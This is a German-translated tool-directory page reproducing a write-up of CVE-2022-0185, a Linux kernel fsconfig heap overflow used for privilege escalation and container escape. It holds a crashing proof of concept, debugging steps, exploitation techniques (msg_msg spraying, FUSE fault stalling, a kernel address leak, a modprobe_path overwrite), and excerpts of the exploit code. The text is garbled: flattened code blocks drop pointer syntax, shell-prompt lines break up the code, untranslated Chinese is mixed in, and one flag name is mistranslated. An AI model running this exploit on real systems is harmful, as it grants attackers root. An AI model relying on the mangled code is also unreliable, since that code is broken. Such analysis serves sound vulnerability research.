Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-0185 — CVE-2022-0185 POC und Docker und Analyse Write-up | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2022-0185
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungContainer-AusbruchBinary-ExploitationLabs & Praxis
GitHubchenaotian/cve-2022-0185

CVE-2022-0185

CVE-2022-0185 POC und Docker und Analyse Write-up

Repository anzeigen
3712vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-0185 Linux-Kernel-Privilegieneskalation (Escape)

[toc]

Schwachstellenübersicht

Schwachstellen-ID: CVE-2022-0185

Schwachstellenbewertung:

Betroffenes Produkt: linux kernel - fsconfig syscall

Betroffene Versionen: linux kernel 5.1-rc1 ~ 5.16.2

Ausnutzungsbedingungen: Linux lokal; Besitz der CAP_SYS_ADMIN-Capability (kann direkt mit unshare erlangt werden, daher praktisch uneingeschränkt)

Auswirkung: Lokale Privilegieneskalation; Container-Escape

Quellcode beziehen: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

oder https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/

Umgebungseinrichtung

Debugging-Umgebung

Docker für die Kompilierung von 5.X-Kerneln: chenaotian/kernelcompile

Docker für die Schwachstellenanalyse: chenaotian/cve-2022-0185

  • Vorbereitet wurden zwei Kernel: einer aus einer Distribution und einer selbst kompiliert.

    • Ein heruntergeladener Distributionskernel 5.11.0-44 zur Verifikation und zum Debuggen des Exploits (Distributionskernel stürzt nicht ab).
    • Ein kompilierter, symbolhaltiger Kernel 5.13 für das Debugging des PoC mit Symbolen.
  • Installation von qemu, gdb, gdb-peda usw.

  • Die Schwachstellen-bezogenen Dateien befinden sich in /root/cve-2022-0185.

    • boot_exp.sh zum Starten des Exploits in der Debugging-Umgebung (Distributionskernel 5.11.0-44, kein Symbol).
    • boot_poc.sh zum Starten des PoC in der Testumgebung, kann den Kernel zum Absturz bringen, aber Exploit läuft nicht; selbst kompilierter Kernel 5.13 mit Symbolen.
    • Verzeichnis exp: exp Quellcode (Autor: BitsByWill), exploit_fuse direkt kompilieren.

QEMU-Umgebung: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp

Ubuntu 20.04 Testumgebung

Ubuntu 20.04 VM-Umgebung zum Ausführen des Exploits, basierend auf dem Original-exp

Bereiten Sie eine Ubuntu 20.04 VM vor und tauschen Sie dann den Kernel aus:```shell apt-get install linux-image-5.11.0-44-generic

grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以

#编译exp make fuse ./exploit

root@kitploit:~
提权效果

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## Schwachstellenprinzip

Die Schwachstelle tritt beim Systemaufruf `fsconfig` in der Option `FSCONFIG_SET_STRING` auf. Dieser Systemaufruf dient zur Konfiguration eines bereits geöffneten Dateisystemkontexts. **Voraussetzung ist die Capability `CAP_SYS_ADMIN`**:

> Der Hauptzweck von `fsopen` ist es, einen Dateisystemkontext zu erstellen und ihn mit einem Dateideskriptor zu verknüpfen, dann den Dateideskriptor zurückzugeben. Nach `fsopen` kommt `fsconfig`. Wie man dem Namen entnehmen kann, haben wir über `fsopen` einen Dateisystemkontext erstellt. Das folgende `fsconfig` dient wahrscheinlich dazu, den Inhalt des Dateisystemkontexts zu konfigurieren. Tatsächlich dient `fsconfig` hauptsächlich dieser Konfigurationsarbeit, unterstützt aber neben dem Dateisystemkontext auch andere Aufgaben.

### Schwachstellenort

Zunächst tritt die Schwachstelle in der Funktion `legacy_parse_param` auf:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

Der Schlüssel liegt in der nachfolgenden memcpy, die unser übergebenes param->string in ctx->legacy_data kopiert. Die Prüfung, ob ein Kopierüberlauf vorliegt, erfolgt in der vorherigen Prüfung (len > PAGE_SIZE - 2 - size). Diese Prüfung ist fehlerhaft, da der Prüftyp size_t ist, also unsigned int. Wenn size > PAGE_SIZE - 2 ist, kommt es zu einem Integer-Überlauf-Umkehr, was dazu führt, dass len < PAGE_SIZE - 2 - size wird. Dadurch wird die Prüfung bestanden, und beim späteren Kopieren ist size größer als PAGE_SIZE - 2, was einen Kopierüberlauf verursacht.

Einige verwendete Datenstrukturen:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };

struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };

struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };

root@kitploit:~
### Aufrufpfad

Im Folgenden wird der Funktionsaufruf-Stack analysiert. Zunächst ist der Einstiegspunkt definitiv der Systemaufruf `fsconfig`:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

Im Einstieg des Systemaufrufs fsconfig wird zuerst basierend auf dem Dateideskriptor fd die Dateisystemkontextstruktur fc initialisiert, dann wird gemäß den vom Benutzer übergebenen Parametern die param-Struktur gesetzt. Diese Strukturvariable ist das param, das später in der anfälligen Funktion legacy_parse_param verwendet wird. Als nächstes wird die Funktion vfs_fsconfig_locked aufgerufen:

linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;

root@kitploit:~
ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

}

root@kitploit:~
Zuerst wird die Funktion `finish_clean_context` aufgerufen, die wiederum die Funktion `legacy_init_fs_context` aufruft, um die Callback-Funktionstabelle zu registrieren. Diese Callback-Tabelle enthält auch die Funktion `legacy_parse_param`, in der sich die Sicherheitslücke befindet.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

Nach der Registrierung wird die Funktion vfs_parse_fs_param aufgerufen, um die Parameter zu verarbeiten. Hier wird die gerade registrierte Callback-Funktion aufgerufen, also die anfällige Funktion.

linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···

root@kitploit:~
if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

} EXPORT_SYMBOL(vfs_parse_fs_param);

root@kitploit:~
Gesamtübersicht wie folgt

- SYSCALL_DEFINE5(fsconfig,... : Systemaufruf-Einstiegspunkt
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : Rückruffunktionstabelle registrieren
    - vfs_parse_fs_param
      - legacy_parse_param : Schwachstelle

## Schwachstellenreproduktion POC

Schwachstellenreproduktion poc:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

Nach der statischen Kompilierung in das Dateisystem packen und mit QEMU den Kernel starten.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh

root@kitploit:~
Verwenden Sie in einem anderen Terminal gdb zum Remote-Debuggen:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

Beim ersten Aufruf: legacy_data ist noch nicht initialisiert:

image-20220218115424519

Später wird kmalloc zur Initialisierung aufgerufen, danach wird die Eingabezeichenfolge in legacy_data kopiert. Bei der Rückkehr der Funktion wurde die erste Zeichenfolge bereits kopiert, und es wird ',=' vorangestellt, mit einer Länge von 0x69.

image-20220218115629610

Da wir fsconfig mehrmals aufrufen, um Zeichenfolgen zu kopieren, übertragen wir jedes Mal 0x67 'A' Zeichen. Die Funktion legacy_parse_param fügt ',=' voran, daher beträgt die Kopierlänge jedes Mal 0x69. Nach 39 Kopiervorgängen erreicht die Länge von legacy_data 0xfff. Nach 39 Kopiervorgängen unterbrechen wir die Ausführung und überprüfen:

image-20220218120003864

Es zeigt sich, dass die data_size von legacy_data nun 0xfff erreicht hat.

image-20220218143242019

Der von kmalloc angeforderte 0x1000 große Speicherbereich steht kurz vor dem Limit. Sehen wir uns die Stelle an, an der der Fehler auftritt:

image-20220218143643847

0x68 ist kleiner als der invertierte 0xffff...., die Prüfung bestanden. Nach dem Kopieren überschreitet es direkt die Grenzen und überschreibt den nachfolgenden Speicherinhalt:

image-20220218143840967

Dann stürzt der Kernel nach dem Fortfahren ab:

image-20220218144210566

[Original] Exploit EXP

Gemäß der Write-up des Autors des Exploits: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. Er hat insgesamt zwei Ausnutzungsmethoden implementiert: eine Privilege Escalation unter Ubuntu 20.04 mit Kernel-Version 5.11.0-44 und eine Ausnutzungsmethode, mit der er bei Google KCTF eine Belohnung erhalten hat. Hier konzentrieren wir uns hauptsächlich auf die Ausnutzung unter Ubuntu 20.04 mit Kernel-Version 5.11.0-44.

Voraussetzungen

msg_msg beliebiger Adress-Lese-/Schreibzugriff

Der Autor des Exploits hat diese Ausnutzungsmethode bereits in zwei CTF-Aufgaben verwendet: fire_of_salvation und wall_of_perdition bei der corCTF 2021. Durch Überlauf oder UAF-Operationen wird die Nachrichten-Header-Struktur msg_msg überschrieben, um beliebige Adress-Lese-/Schreibzugriffe zu ermöglichen. Hier wird die Ausnutzungsmethode nicht besonders detailliert analysiert, sondern nur die in der Aufgabe verwendeten Teile.

msgsnd und msgrcv sind Kernel-Funktionen zur Interprozesskommunikation zum Senden und Empfangen von Nachrichten. Die allgemeine Logik besteht darin, Nachrichten an den Kernel zu senden, der die entsprechenden Nachrichtenwarteschlangen verwaltet, und beim Empfangen von Nachrichten werden sie aus der Warteschlange entnommen.

msgsnd Quellcode-Definition, die Hauptfunktion wird von do_msgsnd ausgeführt:

linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;

root@kitploit:~
··· ···
//后面代码将msg 添加到消息队列。    
··· ···

}

long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }

root@kitploit:~
`do_msgsnd` 允许的消息最大长度为8192:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

Dann muss die Funktion `load_msg` eingehend analysiert werden, da in der Funktion `load_msg` die Funktion `alloc_msg` verwendet wird, um Speicherplatz anzufordern und die Nachrichtenstruktur zu organisieren. Hier wird zunächst die Funktion `alloc_msg` analysiert:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

Hier wird die Nachricht basierend auf ihrer Länge in Segmente unterteilt. Wenn die Nachrichtenlänge + die Länge des Nachrichtenkopfes größer als eine Seite (4k) ist, wird sie segmentiert gespeichert. Das erste Segment besteht aus dem Nachrichtenkopf + Segment 1, wobei der Nachrichtenkopf einen Zeiger auf das zweite Segment enthält; das zweite Segment besteht aus dem Segmentkopf + Segment 2 usw. Gemäß der oben genannten maximalen Nachrichtenlänge von 8192 kann die Nachricht in maximal 3 Segmente unterteilt werden. Jedes Segment hat eine maximale Länge von einer Seite (4k) und muss mindestens die Länge des Nachrichtenkopfes von 0x30 umfassen, sodass der kontrollierbare Heap-Allokationsbereich zwischen kmalloc-64 und kmalloc-4k liegt. Die Struktur des Nachrichtenkopfes und des Segmentkopfes sind wie folgt:```c struct msg_msg {//消息头结构体 struct list_head m_list; //两个指针 long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void security; / the actual message follows immediately */ }; struct msg_msgseg { struct msg_msgseg next; / the next part of the message follows immediately */ };

root@kitploit:~
所以消息组成的结构类似:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

Die Nachrichten befinden sich in einer Nachrichtenwarteschlange, die von einer doppelt verknüpften Liste verwaltet wird. Die Nachrichten selbst werden noch segmentiert gespeichert und durch eine einfach verknüpfte Liste verbunden. Die maximale Länge jedes Segments beträgt eine Seite (4k). Als nächstes wird die Funktion `do_msgsnd` analysiert:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝,这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

Der nachfolgende Teil wird dann direkt entsprechend der Segmentierung der Nachricht sequenziell aus dem Benutzerbereich kopiert.

Als nächstes betrachten wir die Nachrichtenempfangsfunktion msgrcv, analog dazu liegt die Hauptlogik in der do_msgrcv-Funktion. Hier wird ein kleines Detail erwähnt, ohne detaillierte Analyse:

linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t)) { ··· ··· if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息 return PTR_ERR(copy); } ··· ··· for (;;) { ··· ··· msg = find_msg(msq, &msgtyp, mode); if (!IS_ERR(msg)) { ··· ··· if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中 goto out_unlock0; } ··· ··· }
··· ··· } ··· ··· bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户 free_msg(msg); //释放消息备份

root@kitploit:~
return bufsz;

}

root@kitploit:~
Wenn in `msgflg` das Flag `MSG_EXCEPT` gesetzt ist (Standardkonfiguration, Build-Option `CONFIG_CHECKPOINT_RESTORE`), wird eine Sicherungskopie der Nachricht gesendet. Der genaue Ablauf ist: Zuerst wird eine Nachrichtenstruktur als Sicherung angefordert. Nachdem die Nachricht gefunden wurde, wird sie in die Sicherung kopiert, dann an den Userspace gesendet und anschließend die Sicherung freigegeben. **Dadurch wird die ursprüngliche Nachricht nicht aus der Warteschlange unlinked** – genau das wollen wir: die Aktion, dass die ursprüngliche Nachricht nicht aus der Warteschlange `unlinked` wird. Denn manchmal überschreiben wir durch einen Overflow die doppelt verketteten Listenzeiger im Nachrichtenkopf, was beim `unlink` zu einem Absturz führen würde – das ist nicht das gewünschte Ergebnis.

Das war so ziemlich alles Wissenswerte. Die beteiligten Ausnutzungstechniken sind:

- Die Verwendung der `msgsnd`-Funktion ermöglicht Spray-Operationen im Bereich von `kmalloc-64` bis `kmalloc-4k` (altbekannte Technik)
- Wenn das `m_ts`-Mitglied im `msg_msg`-Header überschrieben werden kann, ändert das die Nachrichtenlänge und führt zu einem Out-of-Bounds-Lesen (neue Technik)
- Wenn es möglich ist, **während des `load_msg`-Prozesses** das `struct msg_msgseg *next`-Mitglied im `msg_msg`-Header zu überschreiben, dann kann man beliebige Adressen lesen/schreiben. Normalerweise würde man dafür eine `userfaulted`-Race-Condition ausnutzen, aber in neueren Kerneln kann `userfaulted` nicht mehr aus dem Userspace aufgerufen werden. Hier wird eine neue Methode verwendet.

#### Ersatz für userfaulted

Basierend auf der oben analysierten `load_msg`-Funktion: Nachdem `alloc_msg` den Speicher für die Nachricht angefordert hat, wird die Nachricht aus dem Userspace kopiert. Wenn die Nachricht eine längere segmentierte Nachricht ist, muss sie abschnittsweise kopiert werden. Wenn es gelingt, während des Kopierens des ersten Segments einen Page Fault auszulösen, sodass der Kopiervorgang auf die Behandlung der Ausnahme wartet, und in dieser Zeit durch einen Overflow den `msg_msgseg *next`-Zeiger in `msg_msg` zu überschreiben, dann wird beim Fortsetzen des Kopierens des zweiten Segments beliebiger Inhalt an die angegebene Adresse geschrieben (Arbitrary Write).

Normalerweise würde man dafür einen Userspace-`page fault`-Handler registrieren, aber in neueren Versionen kann der `userfaulted`-Systemaufruf nicht mehr ohne Privilegien aufgerufen werden. Hier wird eine neue Methode vorgestellt: das `fuse`-Userspace-Dateisystem. Man kann mit `fuse` ein Userspace-Dateisystem registrieren, das eigene `read`-, `write`-Funktionen hat. Wenn dann ein Page Fault auftritt, wird zur Behandlung des Interrupts trotzdem in den Userspace zurückgekehrt.

Erwähnenswert ist, dass FUSE selbst keine statisch gelinkte Bibliothek hat. BitsByWill und D3v17 haben es etwas zugeschnitten, dlopen und andere Dinge entfernt und nur eine statisch linkbare libfuse3.a erstellt. Sagt schnell: Danke, BitsByWill und D3v17.

[Referenz](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### Adressleck

Dies ist auch eine Standardtechnik im Kernel PWN: Mit der `seq_operations`-Struktur werden Adressen geleakt, da sie voller Funktionszeiger ist:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

Konkret wird beim Öffnen von /proc/self/stat die Funktion single_open aufgerufen, die die Struktur seq_operations initialisiert:```c int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) { struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT); int res = -ENOMEM;

root@kitploit:~
if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

··· ··· }

root@kitploit:~
Initialisieren Sie alle Funktionszeiger in der `single_open`-Struktur als Kernel-Funktionen. Sobald einer von ihnen durchsickert, kann die Kernel-Basisadresse preisgegeben werden.

#### Berechtigungserhöhung

kernel pwn traditionelles Handwerk `modprobe_path`, eine Zeichenkette im Kernel, die auf einen Pfad verweist, standardmäßig /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

Wenn eine Datei mit nicht erkennbarem Format ausgeführt wird, wird die Datei ausgeführt, auf die modprobe_path verweist. Diese wird vom Kernel ausgeführt, daher mit Root-Rechten. Im Allgemeinen gilt: Wenn dieser String geändert werden kann, gilt die Privilegieneskalation als erfolgreich.

Exploit-Analyse (Original)

Hier habe ich keine Umgebung kompilieren können, die die Ausführung des Exploits ermöglicht (ich bin zu schlecht). Stattdessen habe ich die mit apt installierte vmlinuz 5.11.0-44-generic kopiert und verwendet. Nach dem Start mit qemu ließ es sich tatsächlich debuggen. Möglicherweise war der cap-Teil oder fuse nicht richtig konfiguriert, sodass es noch Probleme gab, wenn der Exploit mit einem Nicht-Root-Benutzer ausgeführt wurde. Daher wurde der Exploit beim Debuggen mit qemu mit Root-Benutzer ausgeführt, da der Exploit ja modprobe_path im Kernel modifiziert.

Um den Exploit zu erhalten, besuchen Sie direkt das GitHub-Repository des Autors. Er kann in einer Ubuntu 20-Umgebung kompiliert werden. Ich habe hier nur die Analyse, das Debugging und die Verifikation durchgeführt.

Exploit-Struktur:

CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···

root@kitploit:~
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

}

root@kitploit:~
exp主要分文两部分,分别是泄露和任意地址写。

#### 泄露kernel 基地址

我觉得该exp 的泄露部分用的非常巧妙,先溢出覆盖未被使用的部分,然后申请需要溢出覆盖的结构体这样不会破坏目标意外的部分,然后继续溢出精准覆盖目标。

主要是`do_leak`函数

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列,每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
